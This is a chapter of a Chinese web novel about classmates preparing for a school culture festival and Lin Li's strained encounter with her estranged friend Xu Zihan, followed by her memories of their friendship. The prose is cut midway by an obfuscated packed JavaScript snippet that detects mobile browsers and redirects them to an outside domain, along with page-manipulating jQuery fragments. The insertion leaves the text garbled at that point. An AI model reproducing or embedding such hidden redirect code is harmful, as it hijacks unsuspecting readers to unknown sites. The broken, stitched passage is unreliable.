随着秋风渐起，树叶在枝头哗啦啦作响，泛黄的梧桐叶被风卷起，轻轻飘落在校园的石板路上。
阳光穿过教室的玻璃窗，洒在课桌上，斑驳的光影随着窗帘的晃动一颤一颤的，像是在暗示着某种悄然来临的变化。
窗外操场上还有几个体育课没结束的班级，嬉笑声、球鞋摩擦地面的声音夹杂在一起，透过半开的窗户隐隐传入耳中。
校园里弥漫着一股淡淡的桂花香气，又甜又暖，像是秋天特有的温柔气息。
教室里，大多数人已经有些心不在焉。临近中午，阳光有些晃眼，连粉笔字都带着点发白的虚影。
就在这样的氛围中，最后一节班会课上，李老师一边低头整理着讲义，一边随口道：“大家注意一下，下周五是秋季文化节，今年轮到我们这届参与了。”
话音一落，教室里立刻“哇——”地一声炸开了锅。
“文化节不是三年一次吗？今年终于轮到我们了！”
“今年还有跳蚤市场？真的假的？”
“听学姐说以前还有烤肠摊和投壶！”
李老师见大家热情高涨，笑了笑，拍了拍讲桌示意安静：“好了好了，别激动，我再说一遍重点——文化节的上午是在学校礼堂进行节目表演，下午一点到晚上八点会在操场大屏幕上放电影。跳蚤市场会开放在篮球场附近，大家可以自愿摆摊，自己准备东西卖卖换换都行。”
他停顿了一下：“节目表演可以以班级为单位报名，也可以个人单独报名。我们班没有强制要求集体参加，但我鼓励大家踊跃报名，学校那边说了，表演优胜者会有奖品。”
“什么奖品？”有同学迫不及待地问。
李老师笑而不语，只神秘地说：“到时候你们就知道了。”
下课铃一响，教室里顿时沸腾。
江语星扑到林黎桌前，眼睛闪闪发亮：“林黎林黎！我们要不要一起去跳蚤市场卖东西？我有好多小玩意儿可以出清！还有上次我画的那几幅小画，也可以拿出来卖卖看！”
林黎一边收课本一边笑：“你确定是卖，不是送？”
“当然是卖啦！”江语星叉着腰，一本正经地说，“不然怎么叫文化节创业初体验？”
“那你要参加表演节目吗？”林黎问。
“我想唱歌，或者跳个舞，反正我都能上！”江语星自信满满，又拉住林黎，“你陪我一起好不好？就算不上台，帮我录个视频、拍点照片也行！”
林黎笑着答应：“好啊。”
窗外阳光正好，秋天的风吹过树梢，金黄的光影洒在每一个兴奋少年的脸上。
教室里已经有同学开始激动地讨论节目内容，有人说要弹吉他，有人想组乐队，还有人开始规划跳蚤市场摊位的布置，热烈的气氛几乎把整个教室点燃。
放学后，林黎收拾着书包，忽然偏头问谢知贺：“文化节那天你有什么计划吗？要不要考虑表演个节目？唱个歌跳个舞什么的？”
谢知贺把手插进裤兜，靠着教室后门那儿站着，闻言微微一笑，眉眼弯了下：“我对在一群人面前唱歌跳舞没什么兴趣。”
“那你打算干嘛？”林黎随口问。
“电影啊，”他语气不疾不徐，“我对那个倒挺感兴趣的。”
“我也是。”林黎点点头，又若有所思，“不过不知道那天会放什么电影。下午一点到晚上八点，时间挺长的，差不多能放四部吧？”
谢知贺“嗯”了一声，看了她一眼：“到时候我们可以一起去看。”
一句话刚落，旁边的江语星就像装了雷达一样凑过来，惊呼一声：“欸欸欸！这就约上一起看电影了？不行不行！我还要拉着林黎一起去跳蚤市场做小生意呢！”
林黎轻咳一声，飞快地偏开视线：“才不是约会……到时候操场上那么多人，难道都是约会啊？”
“你可别小瞧了文化节。”江语星意味深长地摇了摇手指，压低声音神神秘秘地说，“操场上一定全是小情侣，你们等着瞧吧，一堆狗粮等着吃呢。”
林黎：“……”
谢知贺：“……”
两人目光不约而同交错了一下，又几乎同一时间别开。
林黎无语地抬手揉了揉眉心，耳尖却慢慢染了点红：“江语星同学，我只是想看个电影而已。”
谢知贺低笑了一声，也不多说，眼里却染上了几分不动声色的笑意。
江语星看着这一幕，意味不明地“啧啧”了两声，小声嘀咕：“行吧行吧，到时候我就盯着点你们两个，一个都别想偷偷溜去谈恋爱。”
林黎嘴角动了动，本来想反驳什么，最后还是没说出口。
*
夜色已深，教学楼的灯光在秋夜里显得格外温暖。
林黎抱着几本书穿过教学楼后的小路准备去图书馆还书，脚步声在空荡的校园小道上被放得很大。
四周安静得只剩风声和落叶的摩擦。她刚转过角，忽然听见有人叫她名字。
“林黎。”
林黎一顿，抬眼就看见站在路灯下的许梓晗。对方套了一件黑色外套，面色苍白，在昏黄的灯光下显得格外消瘦。
林黎下意识地收紧了怀里的书，“有事？”
许梓晗语气淡淡的，像一贯那样带着几分尖锐：“前几天的事……谢谢你。”
林黎怔了下，没想到她会说感谢，只是客气地回道：“是别的同学我也会报警的。”
这话一出口，许梓晗的神色微微一僵，像是被什么刺痛了神经。她冷笑一声：“你还真是好学生啊，谁都一视同仁。”
林黎没有说话。
“你是不是很看不起我？”许梓晗忽然抬头，眼圈发红，“觉得我这样很可悲，是不是？你是不是也觉得我很脏，很烦人？”
她连珠炮似地问，声音却有些颤。
林黎沉默片刻，只是轻轻摇了摇头。
“你别摇头。”许梓晗仿佛气急，忽然逼近半步，目光直勾勾地看着她，“你也不说话，到底是看不起我，还是可怜我？”
林黎语气平静：“都不是。”
许梓晗像是被堵了一下，忽然笑了，笑容却带着几分荒唐的恨意：“你倒是挺无情的啊。”
过了几秒，她又忽然问道：“你是不是喜欢谢知贺？”
林黎有些措手不及，但还是摇了摇头。
许梓晗似乎早料到这个答案，自顾自地说道：“那人啊，冷得像冰块一样，但他要是动了心……你甩都甩不掉的，我之前也只想跟他玩玩，后来发现这种男人实在惹不起。”
她盯着林黎看，语气忽然冷了：“所以你要小心点，别被他拽进去，逃不出来。”
林黎迟疑着点了点头。
“你走吧。”许梓晗侧身让开，像是疲倦了，不想再说下去。
林黎走过去，回头看了一眼许梓晗的背影。她站在灯光外，头低垂着，像个被风吹得摇摇欲坠的人影。
林黎的心，莫名沉了一下，说不清是什么感觉，或许是一种陌生又熟悉的心疼。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765568|174568||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她垂下眼，继续往图书馆走去，背影被风拉得细长，夜色里静得只剩心跳声。
晚上回到家，林黎洗漱完躺在床上，翻着手机，脑海里却总浮现起许梓晗那双红着的眼睛。
她犹豫了片刻，还是点开和江语星的聊天框，发了条消息过去：
“语星，你还记得许梓晗以前家里的事吗？”
江语星秒回：“咋突然问这个？”
林黎打字：“今天遇见她了，她说了点话……我就突然有点好奇。”
那头沉默了一会儿，才发来一长段语音。
林黎戴上耳机点开，听到江语星语气带点复杂：“其实我也没太了解。当初她还跟咱们玩的时候，就从来不提她家里，只说住在小区另一边，偶尔接她的也是个女的，她叫阿姨。”
“不过我记得有次，不知道哪个同学八卦，说许梓晗她妈早就跟她爸离了，嫌她爸穷、喝酒、打人。后来她妈再婚，跟一个有钱点的男的结婚了，还生了个弟弟。”
“那个同学当时一脸鄙夷，说许梓晗就是拖油瓶，我当时特别生气，还替她骂了那人一顿。”
江语星随后发了一条文字：
“我觉得，有些人吧就是没心没肺，真的不配做人。”
林黎盯着这句话，指尖悬在屏幕上没有立刻回复。
江语星又补了一句：“可谁想到我们那时候对她那么好，她后来却背刺我们，还传那种话，简直一刀捅人心窝。”
林黎手指敲了几下手机屏幕，最终也只是发了句——
“可能她自己也很痛吧。”
江语星那头许久没回，像是沉默了，也像是不知道该怎么回这句话。
林黎锁了屏，房间只剩下时钟滴答声和窗外远处飘来的秋风声。
她盯着天花板，脑海里却总挥不去那个在路灯下沉默站着的许梓晗，像一道剪影，也像一个问不出答案的结。
她不知道自己究竟是因为同情，还是因为那些少年时代未竟的友情残影而放不下。
入睡前，林黎的脑中回旋着许梓晗的声音与表情。她开始思索，许梓晗到底是个什么样的人呢？
这个问题没有标准答案。
曾经的她温柔、可爱、话少，却总能在关键时刻递来纸巾和热水。现在的她却变得刻薄、锋利，说话句句带刺，像是随时准备咬人的刺猬。
她爱炫耀、爱争抢、无视规则，也好像对世界充满了敌意。但林黎却无法将这两个形象完全分割开来。
是的，她还是许梓晗。无论哪一面，其实都是她。
每个人都是复杂的，被成长、被环境、被生活揉碎又拼接起来，才成了如今的模样。许梓晗只是把那些裂缝暴露得更明显罢了。
夜色渐深，林黎迷迷糊糊睡去。
她做了一个梦。
梦里，是记忆中某个雨天模糊不清的下午。她们三人窝在江语星家的被窝里，窗外是淅淅沥沥的小雨声，屋里是少女们叽叽喳喳的笑声与打闹。
江语星一边涂着她从她妈那偷来的指甲油一边说：“我们以后不管结婚、工作还是去哪，都不能断联络。”
林黎笑着答应：“当然。”
许梓晗则抱着一个毛绒玩偶，眼睛弯弯地看着她们，说：“我们要做一辈子的好朋友。”
那时候的许梓晗，脸上的笑就像吃了天底下最好吃的糖果，甜得让人移不开眼。
梦境一晃，林黎猛地醒来。
窗外的天刚蒙蒙亮，屋子里一片寂静。